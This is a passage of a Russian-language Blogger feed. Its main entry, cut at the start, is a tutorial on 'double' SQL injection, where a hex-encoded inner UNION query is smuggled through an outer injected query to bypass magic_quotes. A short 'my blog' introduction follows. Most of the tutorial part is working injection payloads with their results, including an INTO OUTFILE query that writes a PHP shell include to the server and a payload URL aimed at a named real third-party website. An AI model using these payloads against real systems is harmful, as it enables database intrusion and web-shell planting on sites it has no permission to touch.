'999',111/*&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;захексим его и подставим в первое поле первого ("внешнего") запроса:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/*&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;результат:&lt;br /&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 50px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;2:3&lt;br /&gt;999:111&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;т.к. данные полученные из sql-запроса не так часто слешируют/фильтруют то получается что этот "внутренний" запрос выполняется без ошибок, даже при наличии кавычек.&lt;br /&gt;&lt;br /&gt;Если "внутренний" запрос будет:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;-2 union select '&amp;lt;?php include "shell.php"; ?&amp;gt;,111 into outfile '/bla/bla/bla.php'/*&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;то в запросе&lt;br /&gt;&lt;div class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px; background-color: rgb(255, 250, 202);"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$onl &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;MySQL_QUERY&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"SELECT o_uid,o_key FROM online WHERE o_uid = "&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$us&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"u_id"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;он выполнится без проблем даже при magic_quotes on&lt;br /&gt;&lt;br /&gt;Обратимся к первой инъекции, если мы в третье поле подставим:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;-1 union select 'magic_qotes is sux'/*&lt;/div&gt;&lt;/pre&gt;и выполним:&lt;br /&gt;&lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/*&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;увидим безобидную надпись &lt;b&gt;magic_qotes is sux&lt;/b&gt;&lt;br /&gt;а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-1952315362509110173?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/1952315362509110173/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/03/sql-httpwww.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/1952315362509110173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/1952315362509110173'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/03/sql-httpwww.html' title='Двойные запросы'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-1806429080015172152</id><published>2009-03-31T16:40:00.002+04:00</published><updated>2009-04-01T00:08:05.842+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Вобче'/><title type='text'>Мой блог</title><content type='html'>&lt;span style="color: rgb(192, 192, 192);"&gt;&lt;/span&gt;Вот решил создать блог, не знаю зачем мне это нужно: &lt;blockquote&gt;...Из-за ленности, из-за праздности,&lt;br /&gt;А быть может от воздержания...&lt;/blockquote&gt; Ну, посмотрим, что из этого всего получится...&lt;span style="color: rgb(192, 192, 192);"&gt;&lt;/span&gt; &lt;blockquote style="color: rgb(0, 0, 0);"&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-1806429080015172152?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/1806429080015172152/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/03/blog-post.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/1806429080015172152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/1806429080015172152'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/03/blog-post.html' title='Мой блог'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>1</thr:total></entry></feed>
